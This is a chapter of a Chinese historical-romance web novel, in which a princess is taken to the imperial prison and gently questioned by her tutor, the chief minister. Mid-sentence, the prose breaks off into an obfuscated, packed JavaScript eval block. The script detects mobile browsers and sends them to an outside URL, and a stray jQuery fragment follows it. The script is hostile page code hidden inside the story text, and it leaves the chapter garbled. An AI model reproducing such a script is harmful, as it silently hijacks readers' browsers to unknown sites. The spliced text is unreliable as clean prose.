从秦王府出来时急雨砸在玄狐皮车帘上,宋子雲的手指绞着裙裾,车壁悬着的鎏金香球随颠簸乱晃,将沉水香雾泼成雾蒙蒙的水渍。
刚才雨下得太大,锦衣卫办事风格又过于强势迅速,宋子雲根本不知她是如何走出秦王府的。
仿佛上一瞬她还在和陆魏林交涉,下一瞬她便亲眼见到陆魏林身先士卒冲在最前头,身后跟着一批锦衣卫冲进秦王府好一顿搜。
宋子雲眼睁睁地看着方才还得体整洁的王府瞬间成了废墟瓦砾,每一处厢房内女眷的被褥私物都被随意地丢在院中,琳琅满目的宫灯烛台被他们踩得稀碎,桌上的酒菜毫无道理地摔在地上。
秦王府的管家平时也是横着走惯了的,哪里受得了这窝囊气,他挡在宋景旭身前开口呵斥锦衣卫,骨瘦嶙峋的身躯被陆魏林身旁的一侍卫一巴掌扇得跌坐在地上,嘴角忽地渗出血来,好半天没有回过神来。
一下子秦王府内哭声震天,小阁之中的学子是秦王的人,见了管家如此惨状原本还能义愤填膺说几句公道话,可陆魏林皮笑肉不笑地说道,“锦衣卫奉旨拿人,若诸位学子想要路见不平,陆某不在意一并带走,只是锦衣卫审讯也分个时辰,学子们也不必担心,有个二十日便可从昭狱里出来,届时错过了秋闱,可别怪陆某人无情。”
那些学子个个偃旗息鼓,统统被锦衣卫安排到内殿严加看管,小阁内铺在桌上还未来得及收拾的行卷被踢翻在地,不知谁失手打翻了一坛子好酒,将这些原本散发花香的情书染成了墨团。
“殿下当心。”
车轮忽地碾过深坑,宋子雲攥着帛帕的手撞向小几,青玉茶瓯翻倒时,一杯滚烫的热茶顷刻翻倒,楚墨珣情急之下张开双臂将宋子雲圈进自己怀里。
茶水漫进玄色官袍,将一角染成青灰色。楚墨珣衣襟间松烟墨混着犀角苦香扑面而来,宋子雲手指卷曲死死地抠住窗棂冰裂纹,大气不敢出一下。
"咳..."
宋子雲挣脱他的怀抱,“先生这是要带我去哪?”
“锦衣卫审问自然是去昭狱。”
宋子雲回想起刚才在秦王府的情形,警惕地看向楚墨珣的脸,似乎想在他脸上寻觅开玩笑的表情,哪怕一丝一毫也好,只可惜楚墨珣一脸严肃。
宋子雲失落地问道,“先生真的要带我去昭狱?”
“锦衣卫秉公执法,自然是去昭狱。”
“哦。”宋子雲不再开口,就在她心中乞求马车永远走不到尽头的时候马车停在昭狱门口,她硬着头皮跳下马车,抬眼便见宋之骑着马不紧不慢地跟着,见她下马立刻迎了上去,“殿下。”
昭狱的大门犹如野兽正张开的血盆大口,外面天地广阔,望其门内却深不见底,宋子雲只觉自己要被这散发着诡异神秘的昭狱吸了进去。
说不害怕是骗人的,但宋子雲看着默默走进昭狱大门的楚墨珣背影,垂头丧气地说道,“宋之你先回府,告诉香桃,我无事。”
“殿下当真无须我……”
宋子雲郑重其事地点点头,“当真。你且安心回去,不要告诉府上我来了何处。”
“是。”
陆魏林在昭狱门口等着她,“殿下跟我来。”
传说昭狱有三重门,门内的青铜獬豸像忽淌血泪一般瞪着来人。宋子雲深吸一口气走进这即将把她吞噬掉的昭狱大门。
陆魏林一路无话,带她穿过曲径游廊。先是见玄铁大门,槛窗上凝满霜花,渗出朱砂似的锈水,风起时,挂在铁门上的铁链无端齐鸣,吓得宋子雲脖子一缩,额头上已布满密密麻麻汗水。她仰着脖子一扭头见地字丙号牢的墙壁新结蛛网,银丝经纬间粘着半片带齿痕的玉诀,晶莹剔透的网格上还流淌着新鲜的血液。
宋子雲咽了咽口水,半眯起眼睛一心想要将这些恐怖的画面隔绝在视线之外,忽觉脚滑,幸亏眼疾手快拉住一旁的栅栏,低头一眼另一侧长廊青砖上漫出冰水,眼睛往里一看,水牢石阶生满青鳞藓,她赶紧侧目而行,不敢再继续往下看。
这陆魏林到底要带她去哪里?
迎面走来的掌刑太监举烛探路,诡异的青光照在他常年不见天日的老脸上,还对宋子雲露出一个谄媚的笑容,简直如同鬼魅。
宋子雲碎步快走,紧紧跟在陆魏林身后,抬头上台阶时见刑房房梁上高悬着的十二盏灯笼,灯面刺青竟会随着烛火的温度变色。
这该不会就是传说中的人皮灯笼吧?
陆魏林脚步沉稳,不紧不慢地走在前头,穿过长廊豁然开朗,可宋子雲早已双腿打颤,脸色苍白,幸好陆魏林在一处门前停住了脚步推门而入。
“殿下稍作休息。”
宋子雲缓缓睁开眼睛,陆魏林将她带进一间卧房,四四方方的,安静整洁,有床铺屏风,关上门便能隔绝外面的噪音,除此之外屋内只剩下一张四四方方的桌子,上面堆满了奏书卷宗。
宋子雲松了一口气,忙掏出手绢擦拭额头上的汗珠,“这里是你办公的地方?”
陆魏林摇摇头,僵着一张脸,“是审问的地方。”
“审问?”宋子雲深吸一口气,“本宫做好准备了,你开始审问吧。”
陆魏林嘴角难得露出一抹笑意,脸上那道细细的疤痕像是被折了三折,“殿下贵为长公主,卑职哪有资格审问?”
“你是锦衣卫指挥使,你不来审问我,难不成让陛下来?”
“殿下说笑了,我等下臣岂能劳烦陛下?”
“臣来审问。”
宋子雲抬眸之间,山一般的身影顺着门帘与她的影子重叠在一块。那黑色的靴尖已站定在屋外,陆魏林则退了出去。
宋子雲老实巴交地坐在椅子上静待老师问话,谁料他对面而坐,一手执笔,打开案上奏折慢慢看了起来。楚墨珣不说话,宋子雲也不敢开口,只见他指尖不知何时沾着清灰的墨迹,执笔的腕骨映在冰裂纹茶盏上,莫名其妙地让她觉得紧张。
暖色的灯光漫过宋子雲的脸,楚墨珣的抬眼目光恰巧与她碰上,门外轻声地咳嗽了一声,他起身开门,再回来时手上端着一碗漆黑的药。
平日里的宋子雲在楚墨珣面上就是乖乖好学生,此刻的宋子雲更不敢造次,将药碗接过老实巴交地放在桌上,两手捏在耳垂之上,“多谢先生。药太烫了,等放凉了我再喝。”
楚墨珣道,“你可是答应院首要按时喝药,不知羽南还记得否?”
宋子雲嘿嘿一笑,“当然记得,我每日都按院首嘱咐按时服药的。”
“嗯。”
楚墨珣不再说话,宋子雲眼尖见一摞奏折上面放着一小卷纸,露出的蝇头小楷好似写着“雲……”她好奇打开一看,前日午时初殿下将药混入菜渣中,昨日巳时末殿下将药倒入莲花池……
宋子雲掀起香炉将小卷没入炉内,抄起药碗捏着鼻子一饮而尽。
楚墨珣面色稍有缓和,“今夜怕只能委屈殿下在此处将就一晚。”
手边的残茶在盏沿凝成琥珀色的月,宋子雲倾身欲添新汤,一双清澈的大眼睛,比宫灯还要明亮几分,“先生不打算审问我?”
“殿下知道自己犯了何罪?”
这是一道送分题,宋子雲调皮地看向楚墨珣,试探地说道,“陆魏林说我贪赃枉法徇私舞弊。”
楚墨珣目色沉了沉,执笔继续批注奏折,玄色官袍领缘犹如刀锋,宋子雲瞬间意识到这位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657222|168543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帝师生气了,这罪魁祸首大概是自己。
子时霜刃劈开玄铁槛窗,昭狱外的寒风淌成淬毒银匕,空气中泛着铜锈味的潮。宋子雲见窗外天上凝着的半轮残月,自己手中却捧着温热的暖炉,胃里的热药逼出体内凉意,让她后背汗津津,身子骨解乏爽利,方才秦王府的一张行卷都没有带出来……
宋子雲舔舐嘴唇上的茶香,忽地开口道,“我不该去秦王府,如今是敏感时期,我应该小心谨慎,不让人有可乘之机。”
“殿下明知秦王动机不纯为何执意去?”
“皇室宗亲,推脱不了。”宋子雲站起身来对楚墨珣行了一礼,“多谢先…生。”
见他不回礼,稳稳地坐在太师椅上批阅奏折,宋子雲眼角余光偷偷看他,见他冷冷地说道,“殿下无须言谢,秋闱科考在即,不能临阵换主审官,我这么做也是无奈之举,谁让殿下这般执拗,偏要去蹚秦王这浑水。”
宋子雲默默低下头,她面对宋之时可不听劝阻,面对柳昱堂时更能不理不睬,可面对的是楚墨珣,她只能像学生那样承认错误。
“先生说的有道理,我知道错了。”
烛火啪的一声爆出芯火,楚墨珣脸色阴沉,“殿下每次都这般虚心认错,只是不知下一次还会不会再犯?”
“不敢。”
宋子雲低头等着楚墨珣发落,等了许久也不曾等来,“先生预备如何罚我?”
“殿下贵为大渊长公主,我如何能罚呢?”
“不行,先生一定得罚我。”
楚墨珣波光吟吟如秋色,“当真能罚殿下吗?”
宋子雲忆起刚才从昭狱来时的那条路,咽了口口水认真地点了点头。
楚墨珣“嗯”了一声,宋子雲又迎上他的目光,忽地想起刚才陆魏林带她走的那段路,让她着实吓得不轻。会不会是楚墨珣授意故意吓她?
肯定不会,首辅大人日理万机,哪里有空这般戏弄她。
楚墨珣道,“今日之事别让陛下知道。”
“为何?”宋子雲问道,“我正打算明日告诉陛下。”
楚墨珣笔耕不辍,目光聚焦在折子上,楚墨珣越是云淡风轻,宋子雲越是难过,“先生为何要受这般委屈?难不成就活该你做恶人?”
“我是大渊的首辅,自然得为大渊着想。陛下人亲单薄……”
西窗卷入的雪粒子撞碎老旧的窗上,溢出来的茶水漫过青玉案时,带出他身上特有的缕松烟墨混沉水香,宋子雲握着茶杯的手微滞。
五年了,已经许久没有人提起她与宋良卿这对孤儿是如何在高廉的逼迫下差点送了性命。
宋子雲万般不情愿地点点头。
“我再看几道折子,羽南若是累了可先休息。”
经此一闹,宋子雲还真是有些累了。打更的梆子敲了几声,翟纹纱帐漏进半寸烛光,宋子雲腕间的镯子滑落至手臂,炉内的药香渐渐漫了出来,她忽然出声,“明日你预备给我安置何罪名?”
“殿下清白如玉,处事得当,并无罪名。”
灯光忽明忽暗,楚墨珣执笔的腕骨映在苏绣山河屏风上,墨迹游走如蛟龙,宋子雲眼皮沉重,强忍睡意担忧地问道,“怕是不行,先生还是随意给我安个罪名。”
“殿下想要什么罪名?”
宋子雲打了个哈欠,翻了个身,听楚墨珣的声音裹着潮气,似乎在笑,她一定是幻听了,“这倒是无关紧要,不让先生为难就好。”
“比起这件事,我还有一件事比较为难,还希望羽南答应我。”
宋子雲含含糊糊地嘟囔了一声,“先生……但凡我能答应的,我一定答应……”
“……”